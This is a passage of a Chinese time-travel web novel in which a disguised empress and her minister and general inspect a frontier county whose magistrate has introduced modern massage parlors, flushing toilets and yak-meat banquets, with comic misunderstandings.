周围声音不断响起,莺莺燕燕好不热闹,引得包厢内气氛暧昧,让人为之心魂荡漾。 这一幕在秦曦眼底,就是彻底在挑拨她底线。 此刻她彻底忍不住,一把推开身前的浴袍,回头冷冷看向许攸,皮笑肉不笑的讥讽。 “许大人很会享受,还排上号了!” “莫不是你要学那宫中,每日翻个牌子?” 李牧看出不对劲,下意识想开口,但想想又作罢。 寻常青楼,怎么会有这些规矩,另外从进门到现在,他也没看到有任何衣衫不整的情况。 他也没少去过青楼勾栏,京都的那些青楼,姑娘们很不肚兜外传,哪有现在这样子,虽然衣着性感妖娆,但敏感部位,却裹得严严实实。 许攸一听秦曦的话,立刻知道对方会错意,笑呵呵凑过去解释。 “秦掌柜,你误会了!这可不是青楼勾栏,而是我们青尧县特色服务。” “此乃足疗!通过足部要穴,帮诸位放松身体,等会放松结束,诸位泡泡温泉,再来个按摩,那滋味可叫个美!” 秦曦根本没兴趣听这些解释,她感觉自己被羞辱了! 堂堂天子,被个县令骗进青楼,一旦传出去,她登基这么多年,积攒的名望,要一朝全部被败坏干净。 “许大人,本掌柜可是女子。” 许攸愣了下,不好意思的措起手。 “秦掌柜,其实我们这也有男技师,你要是不嫌弃……” “滚!” 话没说完,便被秦曦粗暴打断。 想到陌生男人在自己身上乱摸,秦曦就恨不得现在抽出天子剑,一剑砍了许攸狗头。 她现在对许攸越来越没好脸色,但凡眼神能杀人,许攸现在已经能成仙了。 许攸当然不会滚,伸手招来香兰,在她耳边嘀咕一阵。 也不知道香兰怎么说的,盏茶时间,房间软塌上,多了几道人影。 秦曦俏脸凝沉,精致的双脚被一双手,缓缓仿佛到水盆之中。 “嘶!” 温润的水流浸湿玉足,让她紧绷的心情,也逐渐放松。 香兰动作熟练,轻柔的按动玉足,不消片刻时间,一股酥麻感,便从脚上传入到秦曦心房。 啊——! 秦曦捂住嘴,凤眸瞪大,满脸不敢置信,仿佛那声娇嗔似乎不是她发出。 第七章 足疗和全身按摩 房间内有布帘,布帘虽厚,可也架不住这惊愕声音。 “此法,颇为新奇。” 秦曦为了掩饰尴尬,故意开口解释。 见此,香兰秒懂,当即轻笑着替她主动辩解。 “秦掌柜,我们天上人间,所有的技师,都需要练习两年半,不仅要学习按摩推拿技术,还要精通琴棋书画,识药辩证等技能。” “天上人间就是让顾客享受放松,消除浑身疲倦,可从不会做逾越的事情。” “许大人有令,但凡越界者,仗五十,还要发配去工地,咱们姐妹可丢不起这人。” “况且每月都有巡检考核,要是琴棋字画,诗书礼仪不过关,就会遭到惩罚。” 这番话再次让秦曦等人愣住,几人都认为,这里不过是个青楼勾栏,眼前香兰等人,更是人间最低贱的娼妓,谁知道她们一个个心高气傲,言语间不卑不亢,更没有半点低贱的架势。 难不成是自己误会了? 秦曦暗暗思忖,可青尧县县令不当人,私通胡商番商,大开关门,让蛮族进入城池,这本就是大罪。 想到这里,她忍不住皱起黛眉。 “或许这就是那狗县令,最后一丝良知。” 房间内僵持的气氛,也在香兰话语中,变得缓和。 李牧也趁机打探,不过这几名技师回答的滴水不漏,言语中没有对当下处境任何不满,反而还以此为荣。 半个时辰过去,几人走出包间,刚巧遇到享受完的许攸。 看几人满脸红光,许攸立刻凑上前。 “几位,不知道你们对于天上人间,可有什么意见?不妨指点一二,也让我等有个学习的空间。” 秦曦嘴角抽动,若不是她在皇宫内,受尽天下荣华,今日怕也折在这里。 即便是如此,她也大开眼界,从足部按摩到全身放松,各种方法,是她从未见过。 尤其是香兰几人,身着轻纱,娇躯妖娆,一瞥一笑都在勾动男人的心魂。 只可惜,她是个女人! 还是个皇帝! “此法尚可,但却是小道,你若是想赚钱,必须要从大局考虑,且不可沉迷小道。” 许攸一愣,果然是京城来的豪门千金,只是一眼就看穿了天上人间的局限性。 按摩推拿虽然赚钱,可相关行业才是大头,没想到这秦掌柜,还是此中老手! “看来得找个机会,和秦掌柜秉烛长叹。” 许攸幽幽一叹,再次抬手恭维。 “秦掌柜,今日就此作罢,改日我再邀请你,住宿房间已经为各位安排好,请随着管事前往。” 秦曦也愣住,她是在暗暗提醒,让眼前青尧县县令早点认罪,可明显对方是会错了意。 事已至此,她只是眉头挑挑,并未在多说什么。 几人并未跟着管事而行,问明白了住宿的位置,便雇佣一辆马车,缓缓朝着客栈而去。 马车上,秦曦面色阴沉,比之前入城还要难看。 李牧心生疑惑,方才在天上人间,香兰等人已经说清楚,她们并非强迫,也不卖身,只是靠着手艺赚钱。 天上人间也并非那腌臜之地,只是看上去香艳,仿佛是那青楼妓馆而已。 “陛下,今日月圆,是阖家团圆的好日子,不知为何如此作态?” 秦曦闻言并未说话,而是缓缓抬起车窗上的窗帘。 此刻已经深夜,按照大唐的法律,在此刻必须宵禁,任何人都不得出行,街道上也应该只有武卒巡逻的身影。 可窗外的青尧县,热闹程度不减白天,街道灯火通明,行人攒动如同水流,马车行进都是缓慢再缓慢,无数喧闹声透过车窗,直击众人心扉。 秦曦捏紧拳头,刺骨寒意自她身上溢出。 “此地乃边关要塞,城中胡商、番商、蛮族络绎不绝,且和我大唐子民混居在一起。” “若是白天还能稍加管制,到了夜晚,正是那盗匪横行之时,稍有不慎就是城破人亡,数十万百姓都要给此獠陪葬!” “你说,此獠之心不是祸 国殃民,那又是什么?” 说罢,秦曦又抬起凤眸,看向沉默不言的蒙武。 “蒙将军,夜深之后你立刻联系墨麟军,让他们时刻准备,一旦朕发出信号,立刻破关控城!” “朕要将此獠,和他全部走狗,全部诛杀在此,以他之血,震慑天下!” 蒙武没有任何异议,立刻抱拳领命。 “臣,领命!” …… 马车一路前进,很快便来到客栈。 秦曦看了眼客栈名字,眼底杀意一闪而逝。 “七日黑店!” 店铺内依旧窗明几净,柜台后掌柜见到几人前来,脸上褶子都皱到了一起。 “几位客官,可是京都来的?许大人吩咐过,上等的厢房已经为你们准备好,还请楼上请。” “房价几何?” 秦曦眯起眼,随口问了一句。 就这么一句,差点让她直接下令,先斩了眼前的掌柜。 掌柜只感觉眼前的女子,浑身煞气萦绕,又充满贵气,是他生平第一次见。 “客官,我们店统一标准,上等厢房十两银子一天,每日午时重新计算时间。” “中等五两,下等一两,另外有钟点房和特价房,200文到500文不等。” 秦曦眼皮狂跳,就连李牧也张大嘴。 长安城内的客栈,每日不过百文,可青尧县的客栈,居然最低都是两百起步。 “黑店!此獠连演都不演,今日之后,朕必定诛你九族!” 秦曦懒得和掌柜啰嗦,抬手取出一沓银票,拍在柜台上。 掌柜看到银票,眼睛和眉毛,都快化作了一条线,急忙从柜台后,取出几个精美布包。 “各位,这里面是浴袍和毛巾,以及洗漱用品,都经过了消毒和杀菌,几位可放心使用。” 消毒,杀菌? 几个字连在一起,就连走在最后的蒙武,此刻都握住了佩剑。 青尧县处处怪异,如今一个小小的客栈掌柜,居然扬言要杀君! 一行人气势阴沉,也不管掌柜接下来的呼喊,匆匆领了房间号,来到客房,门前。 只是等几人推开房门,他们的脸上,都露出了错愕目光。 第八章 把马桶当水井 “陛下小心!” 蒙武手中佩剑,噌的一声出鞘,剑峰直指对面的等身镜。 镜面倒映出几人的表情,连毛发都倒映的清清楚楚。 秦曦的俏脸也是发白,骤然看到自己如此清晰的脸,她差点也和蒙武一样。 不过她好歹是唐皇,微服私访这么多年,天下奇物也不是第一次见。 “一面镜子而已,蒙将军不用惊慌,你们房间就在隔壁,且去休息吧。” 蒙武还是不放心,这店铺处处透露诡异,正要多言,却看到几名侍女托着托盘,真款款走来。 托盘上的菜肴,不断散发出香味,惹得几人肚子中馋虫,也在不停乱窜。 秦曦斜瞥一眼,再次开口。 “李管家,你们去休息,本掌柜也累了。” 见此,李牧只能和蒙武推开隔壁门,随后小心翼翼走了进去。 两人刚走进去,侍女们就端来四盘饭菜,放到桌上。 蒙武看的惊奇,住店提供饭食,他倒不会第一次,唯一不同的是,这店铺内的饭菜着实诱人。 金灿灿的烧鸡,肥的流油的烤羊,外加上两只烤鸭,以及两盘子油菜和青菜,看的两人直流口水。 饭菜入口,饶是两人见多识广,也不由眼前一亮。 “好吃!可惜就是没有酒!” 蒙武大口吃着肉,金色油脂不断顺着他嘴角留下。 环顾四周,他下意识把眼前桌上两个瓷瓶忽略,转而看向不远处,一个白皙如玉的摆件上。 “李相,你快看!” “这店铺之中,居然把水井放在房间内。” 李牧也觉得有点口干,看向蒙武说的方向,昏黄的眼眶内,立刻露出欣喜目光。 “怪哉!这水井怎么如此的小?” “估计是那青尧县狗官,用的什么妖法,我可不管,有肉没酒,还没水喝,渴死我了!” 蒙武是个大老粗,也不忌讳这些,当即就趴在“水井”旁边,不停伸头进去喝水。 “啧啧,甜!果然是水井!” “李相你快尝尝,虽然没酒,但配着这井水,也不错!” 李牧实在口感,在蒙武诱惑下,拿起桌上的空碗,快步走到水井旁边,舀了一碗。 两人推杯换盏,不消片刻,便吃饱喝足,满意的躺在床上休息。 …… “你说这是恭桶?” 秦曦一脸怪异,她可是皇帝,什么美食没见过,桌上大鱼大肉,她只是看了眼,便让侍女过来撤掉,换了点清淡的。 姐妹二人吃了几口,小公主秦月白天吃了不少零食,吃了蔬菜后,开始闹肚子。 房间内虽然大,可秦曦半天没找到恭桶,只能唤来侍女。 侍女捂嘴轻笑,连声解释。 “回禀客官,此物名叫马桶,是我们老爷令人打造。” “方便时候只要坐在上面,和恭桶无差别,等方便完,拉下那边的拉绳,便可冲洗赶紧。” “这是厕筹,两位可放心使用。” 秦曦看着手里微微发黄的厕筹,俏脸上肌肤不停抽动。 大唐有造纸术,造的纸也是雪白,然而纸张制造难度大,即便是有了造纸术,也依旧无法量产,只能满足读书人使用。 可青尧县倒好,把纸当做厕筹,若是那些读书人知道,定然要提起笔杆,戳死那国贼! 秦曦故作镇定,挥手让侍女出去,随后抱着小公主坐上马桶。 一顿操作下来,她的眸子也不由放大,以往出恭都会有异味,而且还是在一个房间,即便是有人扇风,也无法阻止异味溢出。 眼前这房间内,不但可以阻绝异味,还能冲水,方便之后房间依旧是那么的干净! “此物必须拿回宫中!” 秦曦只是一眼,就将马桶给改姓,以后这马腾就是她私人专属。 有了方便的地方,小公主更加开心,不一会儿桌上的搞点和蔬菜,就被她吃了大半。 “姐姐,好喝!你也喝!” 看着她脸上满足的笑容,秦曦沉闷的心情,也好了几分。 她随手拿起瓶子,按照小公主哪样轻轻吸了口。 一股甘甜的味道,直冲味蕾。 再看瓶子上,赫然贴着许攸那张大头。 “怪哉!这许攸到底是何人?” “为何要乱我大唐江山,莫不是上苍派来,故意惩戒我的?” 秦曦皱起眉,自从进入青尧县,她就发现这里太不一样。 青尧县修筑城墙官道,本应该民不聊生,可入城之后,那些百姓脸上的笑容做不得假。 她自登基后,便微服四方,所见所闻,都没青尧县的多,各地百姓脸上也有笑,可笑容比起青尧县而言,那差的太多。 青尧县百姓不但不歧视蛮族,甚至还笑脸相迎,不过要说这些人通敌,可又说不通。 秦曦一时间,陷入了两难的境地。 按照如今她所见所闻,完全有权利下令,让城外的墨麟军破城,将许攸狗头砍下,挂在城墙上以儆效尤。 可她内心深处,却在告诉她,青尧县并非眼前这样,那国贼许攸,必然有大阴谋! “罢了!且留你几日性命,来日朕再取你狗命!” …… 翌日,秦曦顶着一对熊猫眼,幽幽走出房间。 刚走出门,她就听到隔壁传来蒙武的怒吼。 “呔!你等居然耍我!” 闻言,她好奇的瞪大眼,牵着小公主,伸头朝着房间内看去。 只见房间内,蒙武和李牧面红耳赤,而客栈掌柜和侍女,都露出苦涩笑容。 “武大,怎么了?” “小姐,他们欺人太甚,居然告诉我,说我喝的井水,是用来冲恭桶的!” 蒙武那叫个气,一大早他想出恭,找了半天没找到恭桶,就找来侍女询问。 结果这一问,他天都塌了。 昨晚他和李牧喝了半夜的井水,居然是用来冲恭桶的。 不相信的他,又找来掌柜。 掌柜也无奈,谁知道这几个京城来的客商,居然如此粗鄙,连马桶都不会用。 他更加难受的是,这两人喝了半夜,这月他水费要超标,倒是可要缴纳罚款的。 “客官,你可评评理,昨夜你亲自询问,我特意安排人给你指点,你千万不要污蔑我。” 掌柜苦着脸,看向秦曦,口中连连哀求。 李牧和蒙武的目光,也落到了秦曦身上,两人只求个答案。 “嘻嘻,月儿知道,月儿还用马桶出恭了!一点都不臭臭,很好用!” “就这样拉一下绳子,就冲的干干净净。” 小公主蹦蹦跳跳跑到马桶旁边,伸手垫着脚拉了下冲水的绳子。 哗啦啦! 秦曦俏脸通红,看到李牧和蒙武绝望的表情,也忍不住补刀。 “两位,那……确实是恭桶!” 第九章 破城诛杀逆贼 就在秦曦等人还在纠缠马桶的事情,一名差役走来,冲着几人拱手。 “几位,今日我家老爷要处理公务,实在分身乏术,无法陪同各位,还请见谅。” “如果几位需要,可以随时差人去县办事厅寻在下,也可去寻我家老爷。等明日事情处理完毕,我家老爷必定亲自登门道歉。” 秦曦嘴角勾起笑意,她正愁没机会打探青尧县的怪异,如今许攸这个碍事的家伙不在,那可是绝妙的机会。 “无妨,不知道你家老爷,今日在忙什么?” 差役面露迟疑,只是片刻功夫,他便再次不卑不亢的回答。 “启禀各位,我家老爷今日要处理县中各种悬案,以及粮食入库及税收等事项。” 秦曦皱起眉,她没想到,许攸这狗贼,居然还能处理公务。 不过在听到粮食入库以及税收,她俏脸上再次浮现出冰霜。 “既然如此,你先回去复命,我等随意逛逛,若是遇到合适的,再于你家老爷细说。” “多谢各位。” 差役恭敬行礼,从见到他到现在,他的脸上没流露出半点的谄媚和逢迎。 秦曦瞥了眼差役,凤眸中精光闪烁。 “走吧!今日我等随意走动,考察下这青尧县如何,也可进行商榷后续合作。” 说完这句,她带头走出客栈。 李牧和蒙武依旧满脸铁青,两人一想到那是恭桶中的水,还喝了半夜,就感觉肚子里面方江倒海。 街道上和昨天无区别,唯一的不同,就是人更多。 刚过卯时,哪怕是长安城,也没如此多的人流,人流如同水流,自城门涌入,朝着四面八方涌去。 人流很是密集,细细看去,秦曦发现了不同的地方,人流自动分流成四股,还有中间有马车车道,哪怕是人流密集,也不妨碍车辆行驶。 在人流之中,胡族、蛮族、羌族等,各种外族攒动,隐约形成了一条人流。 秦曦眉宇阴沉,她感觉到这些外族,在青尧县的数量,绝非是眼前的如此规模。 随着人流,一行人穿梭在街道中,时不时就能看到胡族或者其他外族,在商铺前停留驻足,或者交谈买卖。 几人来到了西市,西市有个宽大的市场,秦曦等人顺着人流进入到市场中,瞬间被眼前景象吸引。 在几人面前,是一群蛮族,这些人围绕在个马圈内,其中有三十匹棕红色宝马。 “上等的汗血宝马,五十两银子一匹,走过路过,不要错过!” “上等的宝马,日行三百里,可驼货,可拉车,是居家旅行必备,各位老爷看看,现在买五匹送一匹。” 咔嚓! 一道霹雳劈在几人心头。 蛮族的马分三六九等,最上等的是棕色汗血宝马,可日行千里,不但速度奇快,更骁勇无比,堪称神驹。 就在长安城的皇城内,秦曦豢养了五匹汗血宝马,都是蛮族贡献的宝贝,被她当做至宝,连骑都舍不得。 “武大,这当真是汗血宝马?” 秦曦嫉妒的面目扭曲。 汗血宝马,五十两一匹,买五匹送一匹,这还是那个把马当命的蛮族? 蒙武上前一步,立刻被几个蛮族缠上。 “老爷,上等的汗血宝马,您掌掌眼,要是假冒的,你可去市场局告我,假一赔十,绝不作假!” 蒙武没说话,走到汗血宝马旁边,仔细打量。 他越看越心惊,眼前的马确实是汗血宝马,而且被调教过,放到战场上,就是一匹凶兽。 马圈中三十匹汗血马,每一匹都是神驹。 “五十两一匹?” 几名蛮族眼睛瞪大,昨日他们就听说,有一帮京城来的大傻……大富商,没想到今天就遇到了。 往日别说五十两,就是三十两,都得叫唤半天。要不是蛮族马多,他们可懒得卖这种低贱货。 “老爷,您要是嫌价高,我给您一匹四十五两!您若是包圆了,我们再送马镫马鞍马掌以及马刺。” 蒙武脑瓜子嗡嗡作响,汗血宝马在长安城内,处于有价无市,一匹至少千两白银。 眼前三十匹,就是三万两,而如今现在只要一千多两白银。 “卖!有多少,我都要了!” “好勒,您老爷给我留个地址,请去市场处交钱,这是凭证。” 蒙武大手一挥,三十匹汗血马彻底进入他的兜中。 一两千两银子,他还是拿得出来,只不过眨眼间,他就多了三十匹神驹。 秦曦没阻止,本来她就是来视察,能得到三十匹神驹,更是意料之外的惊喜。 不过当她继续往里走,那双凤眸之中神光越来越少,阴沉的气息,在她周身萦绕。 整个西市,汉人少之又少,来往的都是来购买,基本上看不到汉人摊位。 此刻她浑身如同坠入冰窟,西市就如此,那其他的市场,岂不是也一样? 堂堂大唐城池,她汉家儿郎用血肉熔铸的长城,居然被外族如此践踏! 青尧县的位置,她比任何人都清楚,这乃是兵塞咽喉,是通往西北外族最后一道关卡。 如今关卡大门敞开,外族随意进入,看似和平的景象,必然有惊天阴谋! 看看这些蛮族,为了十两银子,都要计较半天,何时蛮族会讲道理,还按照凭证办事。 胡族的狡诈,蛮族的凶悍,羌族的弑杀,天下无人不知,无人不晓! 偏偏青尧县,这些外族在此地,表面上都和和气气,和大唐子民和谐共处。 秦曦怎么看,都无法将这一切,联系到和睦上。 “此獠!定然是用了某种手段,出卖家国利益,以此换的如今安稳!” 想到大唐的土地,成为外族乐园,大唐百姓成了他人取乐,榨取钱财的工具,一股怒意直冲她天灵盖。 自她登基,她就想让大唐再进一步,让国泰民安,让四海升腾。 可她万万没想到,如此百废待兴,盛世即将开启的局面下,有如此国贼,窃取家国利益,以苟活在此地! 走出西市,秦曦的怒意再也无法压制。 “蒙武!” 她的声音不大,却充斥着刺骨的寒意。 “臣在!” 蒙武刚刚的兴奋之情消失,浑身煞气萦绕,那股百战的煞气,凝聚在他周身,让他气息愈发恐怖。 “传朕号令,召集墨麟军,既刻入城,诛杀逆贼,正我大唐江山!” 第十章 距离死亡差一步 “陛下!不可!” 蒙武单膝跪地,正要起身领命,却被身边李牧伸手给按住。 李牧的神色凝重,轻声劝解。 秦曦暴怒无比,浑身帝王气势在这一刻,彰显无遗。 “李相,你难不成,也要当那通敌叛国的酸儒?” 李牧身为三朝首辅,儒家第一人,浑身正气凛然,从未偏袒过任何一人,在朝野上的声望,甚至超过秦曦。 此刻他却满脸的凝重,躬身再次一拜。 “陛下,此处不是说话的地方,容臣说一句。” “你且看此地百姓,臣与您一同走来,所见所闻,所观百姓,可有半点压榨模样?” “他们的脸上,可有半点胆寒,对异族可有半点害怕?哪怕城中差役,也一视同仁,不论我大唐子民还是异族,皆按照律法办事!” 说完,他侧过身体,长叹一声。 “臣适才观察,无论这西市中商贾是何人,都需要先议价,双方买卖要撰写合同,最后交由所谓市场局复合。” “另外刚才有个胡商,货物中掺了假,被罚十倍赔偿,双方皆无异议。” “陛下,你仔细观察,此地是否就是个世外桃源?” 秦曦暴躁的火气,稍微消减,可心中杀意,却未曾消减。 听到这番话,她也走到阴影中,抬目眺望四周,依旧是那杀意凛然的模样。 “世外桃源?” “他许攸不过是个七品县令,连官都算不上,有什么本事,去束缚这些凶恶的豺狼虎豹?” “若是没有出卖家国利益,李相你觉得可能吗?” 李牧仰起头,面容上浮现出笑容,他这个人很少笑,一直都是那死板固执的模样。 今天见到青尧县,他才发现,自己虽权倾天下,更是一人之下,万人之上,可治国方面,却不如个年轻人。 “陛下,臣临危受命,承告天地,与泰山之巅以血书昭告天下,迫先帝禅位!” “然,先帝在世之时,荆南盟约,胡族等十八族铁骑踏我大唐门楣,无人敢拦,也无人敢阻!” “蒙武将军曾亲率墨麟、玄武、青龙、朱雀四军驱逐蒙异族,他最为清楚,异族能打退,却无法根除!” “您想要大唐鼎盛,只能寻求他发,做到万邦来朝,并且主动归降。” 说到这里,李牧眼底绽放出精光。 “陛下,如果这就是您开创万世基业,开创我大唐盛世的伊始呢?” 李牧看的很清楚,执宰五十年,他看惯了人间冷暖,知道异族的可怕。 大唐并非打不过,但无法打死,一旦异族进入草原,那就彻底找不到。 再给这些异族十几年发展,被灭的势力会再次死灰复燃,到时候等待大唐的,是无数掠夺和无尽的屈辱。 这番话出自肺腑,李牧老眼中泪花纵横,他到晚年才看到最后一线机会。 一盆冷水当头浇下,秦曦心头的火焰,彻底被浇灭。 荆南盟约,是压在她心头一块巨石。 虽然蒙武带着十万大军,将异族赶到了天山外,可对于大唐而言,先帝留下的耻辱,世代君主,都要承受。 为了防备异族,秦曦一直没放弃过强军富民的想法,她深知这些异族,打不死,杀不光,周而复始,就会成为大患。 她虽是女儿身,也想开创伟业。 看着周遭往来的人群,还有那些人脸上的笑容,她突然觉得自己似乎看的有些肤浅。 “难道这许攸,不是祸 国殃民的奸贼?” 她心中虽有这样的猜测,可还是没放松那丝防备。 也许眼前的这些景象,并不是她看的这么简单,也不是李牧看到的如此简单。 “李相,朕答应你,暂且留他一条狗命!” “朕倒要看看,他是蛀国之贼,还是那千古奇才!” 李牧松了口气,再次双手抱拳,对着秦曦躬身一拜。 “陛下贤德,当以明君相称!” “不必夸朕,朕是女儿身,自当勤勉奋进,这大唐是朕的,也是天下子民的!” 秦曦甩甩手,她自己都没发现,自从听到了李牧的一番话,她心情好很多。 至少没那么多的偏见,也没急吼吼,要把许攸的狗头给砍下来,先挂到城墙上! 远在县办事厅的许攸,连打了三个哈切。 “天冷了?” “奶奶的,今年怎么胡族的羊瘦了这么多?” “师爷,给我压秤,羊肉按照每斤三百文收!” 说完他又摸了摸脑袋,心中暗暗盘算。 “怎么都快一月了,这狗皇帝还不下旨,可别耽误老爷的大事!” 师爷无奈,只能在手中的册子上勾了一笔,随后写上“老爷偶然风寒,心情不好,遂羊肉价格下调。” 许攸还不知道,他的计划本来就要成功,结果李牧的一番劝说,直接把秦曦要杀他的行动,给劝取消了。 另外一侧,秦曦等人也懵了,他们走了一上午,居然连西市都没走出去。 倒不是没走出去,只是几人打听后才知道,青尧县是回廊结构。 以城墙为界,城墙内是百姓居住的住所,东南西北四个角是集市。 西市靠着城墙,但距离又有四五里路,距离城中心更远,几人出来的时候是坐马车,现在走回去,基本上不可能。 临近中午,秦曦环顾了一圈,也把西市转了一遍,大概明白这里的功能。 西市是交易骡马羊等牲畜,以及各种异族货物的地方,光西市的面积,就不亚于长安的集市。 青尧县虽只有一县,规模堪比长安城,若是没有出卖家国利益,那这里真的是世外桃源。 几人走的也饿了,秦曦看到前面有一家酒楼,心里咯噔一下。 “有家酒楼!” 经历过客栈的乌龙,几人现在看到酒楼的名字,都开始打颤。 “小姐,就这家如何?” 秦曦看向四周,并没有任何酒楼。 她现在到没那么大的杀意,只是心中警惕。 “走!” 几人来到酒楼内,随便寻了张桌子坐下。 这里靠近西市,几人也没抱太多的期待,坐下后便下意识的看向桌子。 桌上不仅有碗筷,还有一份菜单。 众人的目光随之落到菜单上,只是一眼,脸色都变得煞白。 就连李牧,此刻也不再是那淡定表情,反而满脸煞白,额头一滴滴冷汗,顺着鬓角,不断落下。 第十一章 女帝被歧视了 秦曦呼吸急促,纤细的手指捏住手中的菜单,玉手不断颤抖。 菜单很厚,足足十五页,分别列着胡族、蛮族、羌族等十八个异族的美食,另外还有大唐的美食。 大唐虽然也有炒菜,但在菜肴烹饪上面,比起青尧县,还是差了不少。 也不知道这菜单如何绘制,居然栩栩如生,上面各色菜肴,不停吸引人眼球。 “小二,你们家的这些菜,可都是真的?” 秦曦皮笑肉不笑,纤细手指指向图片上的全牛宴。 大唐百废俱兴,耕牛比人命都贵重,没有牛就没办法耕地,没办法耕地,百姓就活不了。 为此秦曦还特意颁布了法令,名曰耕牛法。 法令上详细强调耕牛重要性,另外关于其他的牛,法令也有注释,不经过官府,任何人私自宰杀,以杀牛罪论处。 不仅是秦曦在生气,连李牧这会都没站在许攸这边。 耕牛是什么? 那是国之根本!和百姓一样,都是国之根基,万万不可以动摇! 堂堂县令居然纵容商贾私自宰杀耕牛,还堂而皇之的在酒楼出售,更是标注全牛宴。 看到全牛宴后的价格,李牧双眼血红,只需要三百两银子,一头耕牛就这么端上了餐桌。 李牧幽幽起身,他是当朝首辅,此事必须要给天下百姓个说法。 “小哥,请问你们这全牛宴,可有什么说法?” “据我所知,大唐境内严禁宰杀耕牛,其他牛品,也需要报备给知州,难不成你们用的是病牛?” 这话还给小二留了回旋的余地,只要小二否认,李牧也会出言,帮忙周旋一二。 他的话音刚落下,小二梗着脖子,双脚踮起,一副被羞辱的姿态。 “客官,您可不要胡说!” “我们酒楼内,可从未有任何病死的牲畜,更不可能用任何带病的肉食!所有牛肉,都是从屠宰场拉过来,每头牛都有免检和合格证!” “客官您要是吃全牛宴,今日就刚好有一份空余,但您若是侮辱我们,那莫怪我不给各位面子!” 说到这里,周围食客闻声,也纷纷出言。 “哪来的土包子,不知道青尧县内,都要按照许大人的令谕行事,卖病死的牛,怕不是想被罚到去做苦力!” “有家酒楼也是老牌子,开了都四年多,如今我们塞外也有,他们要是敢用病死的牛羊,我敢保证许大人会提刀找他们掌柜!” “可不是,这些牛都是从屠宰场拉出来的,真吃出问题,那就是百倍赔偿!” 李牧老脸僵住,他万万没想到,青尧县胆大到包天到这种地步,居然敢肆无忌惮的宰杀耕牛。 好不容易发现的治国之才,在这种小地方栽了大跟头,属实不应该。 李牧低头看向秦曦,不出他所料,这位嫉恶如仇的唐皇,已经不再遮掩自己的杀意。 秦曦心中怒意冲天,本被劝说下去的杀意,再次弥漫。 这次连李牧都阻止不了,他深知当今天子的性格,此刻已经动了杀心,青尧县也彻底保不住。 李牧摇摇头,心中还是不忍,他早已心生爱才之心,把许攸当做是帝国的指路标,内心深处还有一丝幻想。 “小哥,你稍稍息怒。我就是好奇,毕竟我等都是从长安而来,从未听说过有这全牛宴。” 一听李牧的话,小二古怪的看了眼几人,又露出恍然的表情。 朝廷的律法,在青尧县可行不通! “这位客官,我们是正规的店铺,你看看我们的经营许可证,所有进货渠道都是许大人亲自许可。” 说完,小二抬脚快步走出去,很快又折返回来,手里还拿着两个纸包。 “客官,您可看看,上面有许大人亲自印的经营许可,里面还有我们的进货货源,以及许大人的印签!” 白纸黑字打开,当着秦曦和李牧面,被放到了桌上。 小二很得意,毕竟青尧县酒楼不少,唯独有家酒楼,是许大人亲自点头,可以售卖全牛宴的酒楼。 纸包内不仅有许可证这些,还有进货的票据。 经过早晨的遭遇,李牧等人对票据也很熟悉,上面有双方的手印,即便是出事,也可以拿着凭证找到采买双方。 事情到此还没结束,小二显然是得意忘了自己身份,毕竟青尧县地处西北,他们都以为自己低人一等,哪知道京城来的客商,居然连全牛宴都不知道。 堂屋内气氛凝重。 “各位客官,我们青尧县以律法治县,县尊许大人,三申五令,凡是律法中书写,皆不可触犯!” “我等虽然是小民,也知道有法必遵,违法必究,乱法必杀的道理,我等可不敢违背许大人的令谕!” 咔嚓! 小二的话一字不落,字字扎在秦曦的心口。 好一个有法必遵,违法必究,乱法必杀! 可这个法不是大唐的律法,而是青尧县自己制定的法! 法是立国的基础,是朝堂宰辅等联合修订,是需要当今天子亲自首肯。 秦曦俏脸赤红,纤细手指攥紧,因为用力过度,那玉指都变成了惨白。 李牧此刻也不好受,额头冒出细密汗珠,他以为许攸是为国为民,哪知道这根本就是个反贼。 先立法,后立国,这可是常见的叛国套路,他已经不知道见了多少! 到了这一步,他已经不敢继续为许攸辩驳,这是诛九族的大罪,即便是他亲自出面,也无法为许攸开拓。 秦曦也缓缓闭上眼,今天的种种,让她明白,青尧县县令可能开创了个新的治国方式,可如此作态,即便她不是大唐的皇帝,也不能容忍。 许攸!必死! 就在这时候,小二奇怪的看了眼几人,又满脸的不解。 他总感觉这几人不对劲,那样子恨不得用眼神戳死他,将他钉死在这里。 “几位,你们是长安城来的,是不是第一次吃,觉得可能不合口味?” “你们要是这么想,那就大错特错,我们这全牛宴可是有门道的!” 第十二章 许攸还是得杀 秦曦俏脸依旧赤红,胸腔不停起伏,至于李牧则是阴沉着脸,脸上煞气十足。 “有何说法?” 小二看了眼左右,见到外面食客都盯着,急忙将几人给引到包间内单独坐下。 直到几人全部落座,他这才恭维的抬起手,将桌上茶杯拆开,挨个倒了一杯茶。 “几位,我们店用的是牦牛。” “牦牛?” 秦曦皱起眉,不动声色的看着眼前的小二,胸中杀意没有消减半分。 小二却笑呵呵,没有半点害怕。 “对,是用的牦牛!咱们许大人说了,牦牛乃胡族的牲畜,对胡族而言,就是我们这边的鸡鸭,杀了便杀了。” “不过这牦牛也不是随便选的,必须是小牛,刚满六个月,多一个月都不行。” “多了肉太柴,适合风干,不适合做全牛,而少了肉少,三百两银子花的亏。那些胡族从塞外运过来,再卖给我们,我们可不敢动其他的牛。” 这番解释下来,秦曦心里怒意稍稍消减,不过依旧皱着眉。 可这些不足以打消她心中杀意,那股即将凝固成实质的杀意,在她心口若有若无的四溢着。 李牧长舒一口气,事情发展和他想的不一样,不是许攸在杀牛,至少不是耕牛。 “你们许大人不杀耕牛?” 小二一副你怕是傻子的表情,直勾勾盯着李牧。 “客官,您就别试探我,我们店都是牦牛,杀耕牛那可是要被发配去烧窑的。” “如今咱们青尧县百姓,可不缺那点钱,烧窑的都是外族,尤其是蛮族,当真一把子好力气!” 小二身上的优越感,可不是说笑,那是自心底油然而生的优越,并非是在故意做作。 秦曦黛眉紧皱,她能感受到,小二并非在说谎,可许攸行事也太荒唐,不但私自和胡族通商,还打量购买牛肉,更是雇佣外族。 烧窑在大唐,也是门营生手段,寻常百姓要是能得到烧窑的手段,必然可以有个不错的生活。 到了青尧县,却颠倒了,百姓居然连烧窑都不愿意去,让蛮族这些外族来烧窑。 如此将烧窑方式外传,老祖宗的手艺,怕不是被青尧县县令全部葬送。 “几位你们是吃还是不吃,这全牛宴一天可就一份,再晚不一定会有。” 秦曦本想说不用,转头一想,她是皇帝,可如今还是第一次如此浪费,她也尝尝看,这全牛宴到底有何不同。 “可,这些银钱,你看着上,给舍妹来点清淡的。” “好嘞!客官您稍等,小小姐您有什么忌口吗?要不要辣,喜不喜欢酸酸的?” 小二很热情,从兜里掏出个巴掌大的小本本,半蹲到小公主面前,热情的询问。 